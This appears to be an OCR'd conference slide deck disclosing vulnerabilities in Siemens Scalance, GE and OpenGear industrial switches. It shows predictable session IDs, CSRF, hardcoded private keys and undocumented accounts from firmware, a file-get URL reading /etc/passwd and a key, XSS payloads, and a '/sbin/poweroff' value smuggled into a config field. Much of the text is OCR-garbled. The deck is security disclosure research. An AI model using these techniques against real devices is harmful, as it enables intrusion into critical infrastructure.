Switches Get Stitches: Episode 3

Then there were three of them.



Who are we?

TIME TO
STITCH UP SOME
SWITCHES 7/ /




Last episode on switches get stitches...
Scalance X-Family < V5.0.0

echo -n "admin:password:COA800020002F72C" | md5sum

This is the hash on the wire. Mmmm, low sodium cracking.

COA8006500000960
COA8006500001A21
COA80065000049A6
COA8006500005F31
COA800650007323F




Last episode on switches get stitches...
Scalance X-Family < V5.0.0

echo -n "admin:password:COA800020002F72C" | md5sum

Siemens Session IDs are drunk.

COA80065  uptime in hex -> 00000960

COA80065 00001A21
COA80065 000049A6
COA80065 00O005F31

COA80065 <-clientipin hex 0007323F




Siemens Scalance XNNN CSRF of:
firmware || logs | | config

:'-l_ cgse enter t h =] I F:' W -'-1 a IZj [j ress 0 1: 1 |"‘| o sw i tc |--| : l '_:j : . l E: 8 . El . l :
hank you.

IT’6 NOT
MALICIOUS
FIRMWARE--

—IT'6 A
NON-VOLLNTARY
UPERADE 1 7

https://github.com/blackswanburst/scalance



Applications Places r:: ; € 13°C Mon 22 Dec, 11:30

rv X | |V moustache wax

Blasting on fools

Transferring data from 152.168.0.12...
[root@Amnesiac: ~/Pr... T Document ERROR: Da... SGS [root@Amnesiac: ~]




GE Private Keys. Oh My.

BEGIN

JESKp
2LBFYsnvzg

-END R

PrivateRSAKeyl.key (END)J]

PrivateRSAKeyZ2 . key (END)




GE Firmware integrity

ML Reld.2.1.bin.patched
@elDh 7850:
) 7860 :
) 7870
) 7/8B0O:
) 7890
1 FBAR - GEE A0 GO0 60 G060 G660 6060 GO0 60 GO0 G0 606
1 FEEBM i ‘FoAE &E &6 o (=4 p]
) 78CO: 34 ZE 57 2E 31 60 00 00
) 7800
) 78EO:
) 78F0:
) 7900 :

) 7910:

) 7920:

) 7930
L Reld.2.1.bin
@elD 7850:
@e1D 7860:
) 7870
) 7/880:
) 7890
JEAR . R A0 08 A0 GO0 A0 660 06 A0 606 @0 A6
) /8B0O: FF 00 G0 00 FF FF FF FF 04 00 00 0G0
) 7/8CE: 34 2B 32 2E 31 00 00 G0 A4 78 1D 00 Al 2F 3C 1A




GE DDoS

e To upload a custom key/certificate, a user could use the several
available file transfer options via CLI (ie: ftp, tftp, xmodem)

To upload a custom » Syntax: ftp get type=cert [ip=<ipaddress>] [file=< cert filename>]

keyl/certificate file used by SSL ¢ The key file format used in the MultiLink products is .pem

e The new key/certificate will permanently overwrite the old
key/certificate and it is sustainable through power cycling

Slow data transfer or DoS

This DoS affects the web interface used to configure the device with a web browser. It is recommended that when
deploying the device into a production environment that the web server be disabled in order to effectively mitigate
this vulnerability. After disabling the web interface a user remains able to configure the device locally or remotely
through the command line interfaces without risk of exploitation.

By connecting to the command line interface through either a serial connection or through telnet it is possible to
disable the web server with the following commands:

MLB800# access

MLB80O0 (access) ## web disable

IF YOu

CAN'T FIX 1T,
AT LEAST

MONITOR

This change may be verified by using the show web command:

MLB800 (access) ## show web

HTTP is disabled.

Save the configuration to maintain this new setting.

M



Garretcom Keys. Oh My.

MIICKQIBAAKEQQU+NtXCAdGIbwT1hEp/hz51iYN1LbsdQpeB8A1ihdzFPQSEmc vARGCU
PeATnRi5G4Aws6Fo6PalDlmCkAg24101gScy TlDebt /3spmelbWzUlke0tndvNtgPl
ZHTO/wiOthldS/oNg9r2t Thkgk+VelubpvIWZSC/k I6ohHotgRmYKPx fsLOQIDAGQAB
AoGEALIXRSyhoTOBkgog] ERP74xvkBZ0YcjyNreamYvalmp29D3tDKpvd48shNgYobp
o/DTyyacbP1iJ/7/1lm8tHRV3oc fqi7/EOERg4YKCyDFenlWvBUByyUAakExGEKEZIRIG
roxkKXosAWiboWYemzDeSE1EYQVTVdARTho /CI7pmbz1iAj OUPBAKEASUYqQZBLSENG
bSddkMEUKZ2vmvdK /We 7 lnlcK1214LEcOcFHvb T+h1VTG/ 2Lek 7 3xCwHde j SKemEw
VEOMIIxORLwIBAMUGK+] 0DESE3NoxSCENY /O9usEjnBW Tz 2pj 4ELtbSemiBkKERaRax
9lbgiRonnmfLBgSYmote6M3kI jekPQQ+owbBCQEATeNS L paHSNoWbGz1YuEY 1 TOM
edBvwtsXInURJabV15s16D/ 0wk gnlxRE]l skund0efplUOVbivaKeledb54cCOHIK
qGasS9QW++0pNzpO6pxMrGilXz33CCuSHOmgkcxiKTa9s53fej XaV fIXhS j DvWKETY
umg/WxCcllLysCmQZ/tUCQQDexekhrldyveBl TuDGOGALLI ] IV/7GEQYsRHP jPgR]
WULhzmMEdnGnReH4ZY+eiqs24 rxwt IFPkk ff1/izsGRZ
END RSA PRIVATE KEY
GCPrivateRSA.key (END)




OpenGear are cool.

| reported an oldae to them: CVE-2006-5229
They fixed it in ONE WEEK. One.

Thank OpenGear for fixing vulns in NORMAL
security patch time instead of MONTHS. This

is a personal record, getting anything patched
in ONE week in SCADA is unheard of.

Also most secure default deployment I've
seen, but Colin has some vulns later.




EOL and forever days.

Security economics

Code Escrow

Long term thinking

Over to Colin for more switches.

Bring me my stage manhattan, I’'m done.



Siemens Scalance X200

Continuing a theme

Binwalk-ing the 5.0.1 firmware we get:

root@Wintermute: /media/CCCA-250F/Scalance/V5.0.1

r

| File Edit View Search Terminal Help
:/media/CCCA-250F /Scalance/V5.0.1# binwalk X200V2 V5.0.1.000.fwl

DECIMAL HEXADECIMAL DESCRIPTION
ELF 32-bit LSB executable, ARM, version 1 (ARM)

LZMA compressed data, properties: 0x5D, dictionary
: 2097152 bytes, uncompressed size: 10955488 bytes

: /media/CCCA-250F /Scalance/V5.0.1# |j




Siemens Scalance X200

Continuing a theme

root@Wintermute: /media/CCCA-250F/Scalance/V5.0.1/_-X200V2_V5.0.1.000.fwl.ext

File Edit

8394

View

Search Terminal

Help

:/media/CCCA-250F /Scalance/V5.0.1# cd _X200V2_V5.0.1.000.fwl.extr

:/media/CCCA-250F /Scalance/V5.0.1/_X200V2_V5.0.1.000.fwl.extracte

_8394.extracted

strings.out

xxd.out

:/media/CCCA-250F /Scalance/V5.0.1/ X200V2 V5.0,1.000.fwl.extracte

d# binwalk 8394

DECIMAL

1289492
1289600
1303136

HEXADECIMAL

0x51598
0x51924
OxABE74
OxA7200
OxFFC20
Ox13AD14
Ox13AD80
Ox13E260
Ox13E2E6
0x142408
Ox1424FF
Ox15CECC
Ox18C53C
Ox18C5E7

DESCRIPTION

PEM certificate
PEM RSA private
PEM certificate
PEM RSA private key

HTML
HTML
HTML
HTML
HTML
HTML
HTML

document
document
document
document
document
document
document

XML document,

HTML
HTML

document
document

header
header
footer
header
footer
header
footer
version:
header
footer

“1.0”




Siemens Scalance X200

Continuing a theme

root@Wintermute: /media/CCCA-250F/Scalance

File Edit View Search Terminal Help

j tFNs1ypMAGG
ETMBEGA1UEChMKU211bWVucyBBRz
\TdaMC JBgH“B AYTAKREMQ

'A“rH+IR+ OIPbdvatM RH
'HQ4EFgQUaNO JPHbﬂ4ao PIG%Zu:w" ]
PHSQ4a0zPIG52uC ( ( AkR 'QuIEwl
ETMBEG lUE~hMKHz Vuc ! \ i MA MBHwa

.+03MEHqucvbrk+Lthcd5pbP
/XBt1pbTOWY5H31BevAG158]1YFo6u
qf2ii3XIwbahqgPCk

‘LPCHLPY""FJ+ Nh\”TTL4rdHRPm
U4DNuD3M Q

_u,HwEKr 4ny
<K7z erAfLthMm,,JﬁmJS4

Owgw?7 oIFBuu /jDXIvMmLR2u
. PRIVATE KEY




Siemens Scalance X200

Continuing a theme

1= Kali - VMware

Player';uu'\_‘ﬂ:li@ L= @&%Gi

Applications Plac Fri 25 Jul, 13:58

ScalanceV5-SSL.pcap.pcapng.gz [Wireshark 1.10.2 (SVN Rev 51934 from /trunk-1.10)] - | O

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

©® « m @2 8C e 3T BE g uF &HEE

Filter: ip.src == 192.168.0.97 v | Expression... Clear Save

No. Time Source Destination Protocol ' Lengtl | Info
2427 91.46620900( 192.168.0.97 192.168.0.13 TCP 66 53687 > https [ACK] Seq=13883 Ack=124109 Win=184832 Len=0 TSval=3475009 TSecr=287555
2429 91.47247700( 192.168.0.97 192.168.0.13 TCP 66 53687 > https [ACK] Seq=13883 Ack=125255 Win=183808 Len=0 TSval=3475011 TSecr=287556
2431 91.47453600( 192.168.0.97 192.168.0.13 TCP 66 53687 > https [ACK] Seq=13883 Ack=125329 Win=184832 Len=0 TSval=3475011 TSecr=287556
2433 91.49117000( 192.168.0.97 192.168.0.13 TCP 66 53687 = https [ACK] Seq=13883 Ack=126777 Win=183808 Len=0 TSval=3475015 TSecr=287558
2435 91.50292700( 192. 168 97 192.168.0.13 TGP 66 53687 > https [ACK] Seq=13883 Ack=126817 Win=184832 Le TSecr=287559

. 73873900(

POST /doc/XPassw.html HTTP/1.1 (application

©ooooooof)ooooo

2439 93.76386600( 192.168.0.97 192.168.0.13 (ECR: 66 53687 > https [ACK] Seq=14533 Ack=126907 Win=184832 Len=0 TSval=3475583 TSecr=287785
2441 93.76639300( 192.168.0.97 192.168.0.13 TCP 66 53687 > https [ACK] Seq=14533 Ack=126997 Win=184832 Len=0 TSval=3475584 TSecr=287785
2443 93.76934300( 192.168.0.97 192.168.0.13 TCP 66 53687 > https [ACK] Seq=14533 Ack=127087 Win=184832 Len=0 TSval=3475585 TSecr=287786
2445 93.77181800( 192.168.0.97 192.168.0.13 TCP 66 53687 > https [ACK] Seq=14533 Ack=127193 Win=184832 Len=0 TSval=3475585 TSecr=287786
2447 93.77445100( 192.168.0.97 192.168.0.13 TCP 66 53687 > https [ACK] Seq=14533 Ack=127283 Win=184832 Len=0 TSval=3475586 TSecr=287786
2449 93.77687700( 192.168.0.97 192.168.0.13 TCP 66 53687 > https [ACK] Seq=14533 Ack=127389 Win=184832 Len=0 TSval=3475587 TSecr=287786
2451 93.77991200( 192.168.0.97 192.168.0.13 TCP 66 53687 >

https [ACK] Seq=14533 Ack=127463 Win=184832 Len=0 TSval=3475587 TSecr=287787
Content-Length: 98\r\n : : : :
[Content length: 98]
\r\n
[Full request URI: http://192.168.0.13/doc/XPassw.html]
[HTTP request 29/37]
[Prev request in frame: 2413]
[Next request in frame: 2517]
Line-based text data: application/x-www-form-urlencoded
passCurAdmin=admin&passNewlser=user&passNewlUserConf=user&passNewAdm **k*EpassNewAdminCon

0170 6f 6e 3d 43 30 41 38 30 30 36 31 30 30 30 30 30 on=COA80 06100000
0180 45 46 46 0d Oa 43 6f 6e 6e 65 63 74 69 6f 6e 3a EFF..Con nection:
0190 20 6b 65 65 70 2d 61 6c 69 76 65 Od Oa 43 6f 6e keep-al 1ve..Con
01a0 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6¢c 69 tent-Typ e: appli
01bo 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 cation/x -www-for
01c0 6d 2d 75 72 6¢c 65 6e 63 6f 64 65 64 0d 0a 43 6f m-urlenc oded..Co
01do 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 39 38 ntent-Le ngth: 98
0led 1
oifo
0200
0210
10220
0230
0240

Frame (716 bytes) Decrypted SSL data (1 byte) | Decrypted SSL data (581 bytes) | Reassembled SSL (582 bytes) |
L J

O™ Textitem (text), 98 bytes Packets: 2989 - Displayed: 1532 (51.3%) - Load time: 0:00.054 Profile: Default

ScalanceV5-SSL.pcap....



Siemens Scalance X200

Continuing a theme

* Self signed default Certificate
* Can be changed via Web interface

* Not mentioned anywhere in the documentation



GE MDS Wi

€ - C A [) www.gedigitalenergy.com/communications/catalog/mdswiyz.htm

[ Communications: MDS W' x W& Y

ources Contact~ Store

]
®
@

Industries» Newsw About Us

Digital Energy » Communic ations

Product Lookup Q M DS W|YZTM
Intelligent Data Acquisition
Online Store z Data Acquisition | MDS Mesh, WiFi, Cellular |
e GE's MDS WiYZ is an inteligent data acquisition and ‘,
Press Room \ networking platform combining wireless connectivity for
- sensors, 1/O, instruments and meters with
comprehensive network infrastructure solutions for
Product Categories IP/Ethernet and serial, mac hine-to-mac hine and ‘
3 Orereir backhaul communic ation to host systems and devices ;
> Indistial Wireloss Whether your applic ation requires the collection of data J
» Data Acquisition from remote, unpowered sensors or deployment in

» LAN Extension areas with obstructed communication paths or a bridge
» Backhaul Bu NW
» Accessories for data using the cellular infrastructure to your y
terprise network, MDS WiYZ products provide
D e : » ?
versatile, reliable and cost-effective solutions. Leormng Videos

» Ethemet Switches & Converters

» Network Management Software

Key Benefits

Services + Cost effective wireless communic ation for sensors, instruments and 1/O monitoring remote assets
» Overview « Improved communic ation reliability and simplified deployment using standards based, self creating, self healing
» Training mesh networking
« Reduce wiring, power and integration costs using battery powered, field hardened components
« Automate data collection using any ¢ombination of Cellular, WiFi and MDS backhaul options for seamless
|P/Ethernet and serial communic ation to remote devices
Resources

+ Global unlicensed use in 2.4 GHz spectrum plus GSM and CDMA cellular technology

» Application Notes

WiYZ Application Advantages

» Brochures
» Manusis

» Software

A
ocol Dis

L sploy)_ RTUPLC

e a2
[z Remote ) (G pory deviced

Connect




GE MDS Wiyz

| root@Wintermute: /media/CCCA-250F/Wiyz/V2.3.8

{ File Edit View Search Terminal Help
:/media/CCCA-250F /Wiyz/V2.3.8# binwalk wiyzgw-bkrc-2 3 8.mpk

DECIMAL HEXADECIMAL DESCRIPTION

88432 0x15970 U-Boot version string, "U-Boot 1.2.0 (Dec 13 2012
- 19:09:33)"

88688 Ox15A70 JFFS2 filesystem, little endian

113100 Ox1B39CC ulmage header, header size: 64 bytes, header CRC:
Ox14F638C6, created: Fri Dec 14 00:13:09 2012, image size: 1744212 bytes, Data A
ddress: OxAQGOGBOOO, Entry Point: OxAOGEB000, data CRC: OxE5930802, 0S: Linux, CP
U: ARM, image type: 0S Kernel Image, compression type: none, image name: "Linux-
2.6.36-mds"

129767 Ox1FAE7 gzip compressed data, maximum compression, from Un
ix, last modified: Fri Dec 14 00:13:08 2012

1857408 Ox1C5780 ulmage header, header size: 64 bytes, header CRC:
OxB14A1CC7, created: Fri Dec 14 00:32:04 2012, image si 17080320 bytes, Data
Address: 0OxA0800000, Entry Point: OxAG800000, data CRC: OxD6227E17, 0S: Linux, C
PU: ARM, image type: RAMDisk Image, compression type: none, image name: "Project
_TGM rootfs image"

1857472 Ox1C57C0O Squashfs filesystem, little endian, version 4.0, c
ompression:gzip, size: 17077509 bytes, 1447 inodes, blocksize: 131072 bytes, cr
eated: Fri Dec 14 00:32:03 2012

18937824 Ox120F7EQ Squashfs filesystem, little endian, version 4.0,
ompression:gzip, size: 323438 bytes, 4 inodes, blocksize: 131072 bytes, create
: Fri Dec 14 00:32:04 2012

: /media/CCCA-250F /Wiyz/V2.3.8# |]




GE MDS Wiyz

l root@Wintermute: /media/CCCA-250F/Wiyz/V2.3.8/_-wiyzgw-bkrc-2_3_8.mpk.extract

File Edit View Search Terminal Help
uashfs-root/etc# 1la

root root

root root .

root root certs

root root fstab

root root 09 ) group

root root i )ec hotplug

root root 19 init.d

root root 192 Nov 1 iproute2

root root 9 312 lighttpd

root root 916] login.de

root root 19 nivis

root root : nsswitch.conf

root root

root root

root root 8192 PP

root root 1842 protocols

root root 92 ) .resolv.conf

root root 163

root root 15642

root root 27

root root 11 shells.conf

root root 8192 skel

root root 111 snmpd.conf.var.default

root root 8192 sysconfig

root root 275 912 .syslog.conf

root root 183! em.conf

root root : termcap

root root ] isftpd.conf
:/media/CCCA-250F /Wi 2.3.8/_wiyzgw-bkrc-2_3 8.mpk.extracted/sq

uashfs-root/etc# |

J

—

2
2
3
1
2
1
2
1
2
1
1
1
1
1
1
2
1
2
1
1
1
1




GE MDS Wiyz

File Edit View Search Terminal Help
root :HKhhUQEMVz32k :0:0: root : /root : /bin/ash

Passwd file contained
undocumented users and hashes

admin —admin

guest — guest e
halt:*:8+1C
authcode — authcode nail *:9:1:

fact — wal63sfo
root - ??

av/null
ogin
165534 :nobody e:/bin/sh
(OralRObE6. :101:100 ctory: e:/bin/menu
‘bin/menu
authcode :pJTSFMspQSEA4Y : CRRYAYE mpty:/bin/menu
guest:jJleudmglfZa2:104:100: :/home:/bin/menu

DIAMONDS
DON'T LAST
FOREVER--

--8UT
UNDOCUMENTED

BACKDOORS




GE MDS Wiyz

root@Wintermute: /media/CCCA-250F/Wiyz/V2.3.8/_wiyzgw-bkrc-2_3_8.mpk.extract

File Edit View Search Terminal Help

A j l4EU7bWIY’LDUB”DUWQ%YFlXYUUu yLGrMS8HNBmwawIDAQAB
AoGBAIGZ33Wov foK7cP90wgKmbIOd fwxKT dluquxTKWl|~ r2YAgNXI8ULMSwv
tzgCed4QOTBXUYAESTVN2cz4GWhHMc801iof wmBedFw4jU7iL4kGbYGRasZ32ec
f4Ps 1< bPPcTni EhtgubP/“ijWHb* RL2Z1JIgOchAKEA4XGVK2CnyU+1
j ZPAEOKRUFkVb1++KUd2
o/uvvDgnQ
MK+|YdEbhthw

nngtHU?BrDorLN
END RSA

BgH”Hu4EFquHM4h4TOl7aJ<uL1k
=) ;ttFolPquon[

ngNVBAoTI“
EwtFbmdpbm L P i 0 1t/prYXPII \
uPllEFlduhlcmWI i RYTYWFyb24ud3JpZ2h0o
: b MaT
( | pPTa8QlcB4Ez\ 1pD
erf7gK+U1SC0z2B3gRQJIkVSzBdoZed4 fBW1B7qraM/vpMMa+gIh3FXLcdIR7M41+
zdVYxR18RQE2bGK f
END CERTIFI




Key Management in network
equipment

e Default Keys are to be expected, however
— Undocumented Certs/Keys = bad
— Unchangeable Cert/keys = bad
— Self-signed keys = ?7?
» Switches lack processor power and/or entropy
to create their own keys on initialisation.



Key Management in network
equipment

* Not just default (undocumented) passwords and accounts any more
* Now default (possibly undocumented) certifications and key need
changing.
— If possible
* |Inasecure manner

— Before deployment
— Direct physical connection to device needed

 Need to think about the risks of self signing certs

“The problem with Key Management is that you have to manage your
keys”



Key Management in network
equipment

“The problem with Key Management is that you
have to manage your keys”

5.2
S
S




OpenGear

ucts/acm5500-management-gate

opengear

SMART SOLUTIONS FOR RESILIENT NETWORKS

Home - Products - Remote Site Management -

ACM5500

Management Gateway

OVERVIEW MAGES

Overview

THE COMPANY BUY ONLINE

Complete Smart OOB™ remote management solution in one box

Deploy in popup stores, wiring closets, branch offices, communications cabinets and harsh remote sites
Remote site out-of-band access over 4G LTE, 3G, or PSTN with smart failover

Failover to Cellular™ with IP Passthrough for uninterrupted network connectivity

Integrated console server — manage router, switch and firewall serial & USB consoles
FIPS 140-2 validated encryption, SSL and SSH, stateful firewall, OpenVPN & |Psec
Environmental and physical sensor alarm notification via SMS, SNMP or Nagios

Automatically detect and recover from network outages and repair equipment faults

Zero Touch Provisioning (ZTP) automation over the network, without manual user interaction

The Opengear ACM5500 management gateway enables secure remote monitoring, access and control of distributed
networks and remote sites, delivering complete and uninterrupted remote management for central operations staff.
The ACM5500 deploys alongside distributed IT, network and power infrastructure, providing always-available secure
access, true out-of-band management, proactive monitoring and smart automated response capabilities. The result is
faster problem resolution without the need for expensive on-site technical visits.

Smart OOB™ for comprehensive out-of-band management

Maintains complete control during infrastructure fault conditions and network outages with serial, Ethernet and USB

s T o e O —— M|

Us | Sign In/Register

el

Try our Demo
Online

Demo our Smart OOB™
solution to test the full range of
our capabilities.

First Name * Last Name *
Email *
Company * Phone

Country *
| - Select - v

_ I would like toreceive more

START DEMO »

DOCUMENTS:

-

‘2 Product Brochure
= User Manual

- . .
2] Quick Start Guide

Chat now with sales

+| oy 2 | 5] €




OpenGear Support Report

Y \ acm5504-5-Ir-i - Openge: X

€ C A & b#ps//192.168.0.1/cqi

System Name: acm5504-5-Ir-i Model: ACM5504-5-LR-I Firmware: 3.15.2
Uptime: 0 days, 4 hours, 18 mins, 53 secs Current User: root

Dashboard Manage Backup Log Out
Devices

Status: Support Report

» Devices
» Port Logs System time
» Host Logs
» Power

» Terminal

Status =

» Port Access Firmware Version
» Active Users
» Statistics OpenGear/ACM550x Version 3.15.2 @de5@f6e -- Thu Apr 3@ 14:28:0@ EST 2015
» Support Report
» Syslog

» UPS Status

» RPC Status

» Environmental Status | | Bootloader Version

» Dashboard 1.1.1 (Mar 15 2012 - 04:46:46)

Serial & Network =

» Serial Port

» Users & Groups
» Authentication Uptime
» Network Hosts

» Trusted Networks
» 1Psec VPN 15533.62 14601.54
» OpenVPN

» PPTP VPN

» Call Home

» Cascaded Ports

» UPS Connections
» RPC Connections
» Environmental $ ifconfig
» Managed Devices
» IP Passthrough etho Link encap:Ethernet HWaddr ©@:13:06:00:95:CC

inet6 addr: feB@::213:c6ff:fe@@:95cc/64 Scop

UP BROADCAST RUNNING MULTICAST MT Metr

» Port Log RX packe 3568 erro @ dropped:@ overruns: :

» Auto-Response TX packe 2044 erro @ dropped:@ overruns:@ carrier:@
» SMTP & SMS collisions:@ txqueuelen:1009

» SNMP Interrupt:12 Memory:1fff8000-1fff80ff

System [~ & H~ ink : rnet HWaddr 8@:13:06:00:95:CC
inet addr:192.168.0.1 Bcast:192.168.8.255 Mas

cas

” Adm'”‘“,"f‘?m” UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:l

» SSL Certificates Interrupt:12 Memory:1ff£8080-1FFf80FF

» Configuration Backup

» Firmware :

» IP Link encap:Ethernet HWaddr 00:13:06:00:95:CD

» Date & Time ineté addr.‘: fe80: :213::65F:f523:95cd

» Dia UP BROADCAST RUNNING MULTICAST MTU:1500
irewall RX packets:@ errors:@ dropped:@ overruns:

pped:@ overruns:

Mon Feb 3 10:00:18 2003

0 days, 4 hours, 18 mins, 53 secs

IP Configuration




OpenGear Support Report

Link on a page normally only available to the root user...
Can be directly accessed by any authenticated user from:
https://192.168.0.1/cgi-bin/supportreport.cgi
Dumps

— Crontab.root

— Inittab
— Syslog

— Support.txt

Support txt includes:
— Ifconfig, netstat, ssh key fingerprints and file locations.
— Iptables, switch statistics, cell modem configuration,
— Proc/meminfo, disk usage, process
— Config.xml —including all usernames.


https://192.168.0.1/cgi-bin/supportreport.cgi
https://192.168.0.1/cgi-bin/supportreport.cgi
https://192.168.0.1/cgi-bin/supportreport.cgi
https://192.168.0.1/cgi-bin/supportreport.cgi

OpenGear File get

* https://192.168.0.1/cgi-bin/getfile.cgi

e Allows the user to get any file they have
permissions to read.

» Useful if you have no SSH/telnet access...


https://192.168.0.1/cgi-bin/getfile.cgi
https://192.168.0.1/cgi-bin/getfile.cgi
https://192.168.0.1/cgi-bin/getfile.cgi
https://192.168.0.1/cgi-bin/getfile.cgi

OpenGear File get

[ https://192.168.0./cgi-bi x \C|] https//192.16801/cgibi % | ¥
€ - C A | &h#ps//192.168.0.1/cgi-bin/getfile.cgi?getfile.cgi?saveas=1&path=etc%2Fpasswd

root:x:@:1:Root User:/:/bin/bash

nrpe:x:101:2::/var/empty:/bin/false
nsca:x:102:2::/var/empty:/bin/false
ups:x:1@3:2::/var/empty:/bin/false
sshd:x:100:65534: : /var/run/sshd: /bin/false
unauth:x:104:1::/var/empty:/bin/false

testing:x:1000:1000:testing: /etc/config/users/testing: /bin/bash
admin:x:10@1:1:admin:/etc/config/users/admin: /bin/bash
CSRFAdminl:x:1@02:1:CSRFAdmin: /etc/config/users/CSRFAdminl: /bin/bash




OpenGear File get

[} httpsi//192.168.00/cgi-bi X J [1) https://192.168.0.1/cgi-bir %

€ - C A | &b#ps://192.168.0.1/cgi-bin/getfile.cgi?getfile.cgi?saveas=18path=%2Fetc%2Fdefault%2Fss|_key.pem w @ O Cé‘w& %

MIICXAIBAAKBgQDcEMRmMTICAWXNNIEIFCR4ny fMXAUV708BQ6KShB@BDGXQI/ xVH
6AaRrwlzxL992KWqP7tI+h47CCe+p7b7 IHOQWSATGH2SNDSbHaGk T/ 2@XuMmQBa T
ED1Srt9rpNEACV]/cOgEgmfQNV772u590qta2Axbx2ce/aTgrypTkINdVWIDAQAB
AoGBAKoLygiT8teT/YqqhOfSYuHhszpNR3P1RE2DIeXFfRQYBXc/UhQtZ5EQE2UL
VvjSoFtx/y1lnTYnG9@DsPA8Fpa2itAOUE]1SNcq@9nhnlixABF1A1zI0G70e+v7tv
8r6dk63Z7L6zjfaLXIPhfliSg5cVDoM3MpGOiOYRp+nFgwfhAkEABkwibt6QAOMG
NEpZx6JsciKdCSHivwKMOPZYHYQCaai@Z3tsDIRPXqXmpOU@RBql8dFZIQMLr6It
70XIS5jX+TwlBAClos8CuY8IRouQeQR1k39DeZQA9T2FvsoDC7wMpIrC6DA/FrzQl
RutP1T8ebxygbilMD2D9bhYLSBielZQutnkCQCoViTmCkLLQHISAS57@]+gANAQeQ
CikxETi0/RkLT7v4YHVE26yHqgl/dUMYyIalyl/pA7kXIVVSLs9LaKyLnkMCQCA0
GaOxIvNR1fSBqoznKek3@QhwafBNmDUfIhi@flUovKKrplC1llgizRSeWBM7X13SI
MBI3uCP3V+50YrewllkCQDBIIDWNNeSRyXrIWPQqdnOlMRUTp+R+1uADSLbNRPHC
7VGTgAbeqfs+fdgg0o9xBtZnHUWACcvgiQ9XrK3cfcOFs=

----- END RSA PRIVATE KEY-----



OpenGear Weak Session IDs

GET /cgi-bin/index.cgi?form=portbuffers&h=0 HTTP/1.1
Host: 192.168.0.1
Connection: keep-alive

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=
0.8

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36

DNT: 1

Referer: https://192.168.0.1/cgi-bin/index.cgi?form=manage&h=0
Accept-Encoding: gzip, deflate, sdch

Accept-Language: en-GB,en-US;g=0.8,en;q=0.6

Cookie: OgSessionld=5fe92c34;



https://192.168.0.1/cgi-bin/index.cgi?form=manage&h=0
https://192.168.0.1/cgi-bin/index.cgi?form=manage&h=0
https://192.168.0.1/cgi-bin/index.cgi?form=manage&h=0

OpenGear Weak Session IDs

, N . . ] oo L5

/  acm5504-5-Ir-i - Openge: X
" S| g8 e® o
=+ 2 @0 FHY Y

& C A | Xb#ps//192.168.0.1/?form=a

| » Dashboard | LocalLDAP -
LDAP
Serial & Network = LDAPLocal
» Serial Port LDAPDownLocal
» Users & Groups
» Authentication LocalKerberos
» Network Hosts Kerberos
» Trusted Networks
» [Psec VPN KerberosLocal
» OpenVPN KerberosDownLocal
» PPTP VPN Authentication Method to use for Web Console, Telnet, SSH, and FTP
» Call Home
» Cascaded Ports Use Remote Groups
» UPS Connections Use group membership information provided by remote authentication services
» RPC Connections
» Environmental Web Management 20
» Managed Devices Session Timeoyt

web Management session idle timeout in minuLes:
» IP Passthrough

Alerts & Logging |

se Extended
ession ID

v
Enables the use of extended session IDs in WebUI authentication cookies.

» Port Log

» Auto-Response CLI l\_‘lana_gen T

» SMTP & SMS Sesson_luneout CLI Management session idle timeout in minutes.
» SNMP

Console Server

System = Session Timeout Serial console server session idle timeout in minutes.

» Administration
» SSL Certificates
» Configuration Backup

» Firmware TACACS+

» IP

» Date & Time Aut::en.tica_tion and

» Dial Authorization Server Comma separated list of remote authentication and authorization servers.

» Firewall Address

¢ anees Accounting Server ¥

» NHCP Sarver

Example OgSessionld=4ed8e8bd64fcf18137b957cb66387cd2



OpenGear XSS

* Input filteringis in place to protect against XSS

N acm5504-5-Ir-i - Openge: X \‘(\L——‘.
"L sl : 1/cgi-bin/index.cgi?form=systemsettings&h=0 fo* =
%~ C A & b#ps://192.168.0.1/cqi-bi : 7_ : s - —

\(‘ opengenr System Name: acm5504-5-Ir-i Model: ACM5504-5-LR-I Firlg:gge: E X ﬁ &

Uptime: 0 days, 0 hours, 4 mins, 13 secs Current User: root Dashboard Manage Backup LogOut

( . |oEetin] (| o S

Error System Description can not contain markup.

» Devices
» Port Logs
» Host Logs System acm5504-5-r-

» Power Name ¢ -
» Terminal An ID for this device.

System <script>alert(1)</script>
Description 1. ohvical location of this device.
» Port Access
» Active Users System
» Statistics Password
» Support Report
» Syslog MOTD
» UPS Status Banner Clear this field.
» RPC Status
» Environmental Status
» Dashboard

P —— = Message of the day text banner to display to authenticating users.
» Serial Port Delayed

The system password can be changed by editing the root user on the Users form




OpenGear XSS

But what about outbound?

standalone="no" 2>

</ snmp>
<model>&lt;script&gt;alert(l)s&lt;/scriptegt;</model>
<name>acm5504-5-1r-i</name>

<backup>
<time>1040673438</time>

</backup>

<ssl>
<status>canceled</status>

<city>GE</city>

country>AD<L/country>
<email>a@b.com</email>
<length>512</length>

<name>thingy /sbin/poweroff</name>
<org>GE<L/org>




OpenGear XSS

But what about outbound?

standalone="no" 2>

</ snmp>
<model>&lt;script&gt;alert(l)s&lt;/scriptegt;</model>
<name>acm5504-5-1r-i</name>

<backup>
<time>1040673438</time>

</backup>

<ssl>
<status>canceled</status>

<city>GE</city>

country>AD<L/country>
<email>a@b.com</email>
<length>512</length>

<name>thingy /sbin/poweroff</name>
<org>GE<L/org>




OpenGear XSS

") 3cm5504-5-Ir-i - Openge: X YW Y
€« X ff [ bh#rs//192.168.0.1

The page at https://192.168.0.1 says: ¥ System Name: acm5504-5-Ir-i Model:




OpenGear CSRF

* So creating an account looks like:

7

E  Burp Suite Professional v1.6.20 - licensed to IOActive [single user license] #26

Burp Intruder Repeater Window Help

[Target T Proxy: T Spider T Scanner T Intruder T Repeater TSequencer T Decoder TComparer T Extender T Options TAIelts ]

_[ln.tame_p(,] HTTP history TWebSockets history T Options ]

#) £ Request to https://192.168.0.1:443

L Forward J [ Drop J [ lnte;ceptison ] [ Action J it this item =_= ?
Ra\gT Params T Headers T Hex 1

POST /cgi-bin/index.cgi?form=userseh=0 HTTP/Ll.1l A

Host: 182.168.0.1 3

Connection: keep-alive

Content-Length: 170

Cache-Control: max-age=0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/webp, */*;q=0.8

Origin: https://192.168.0.1

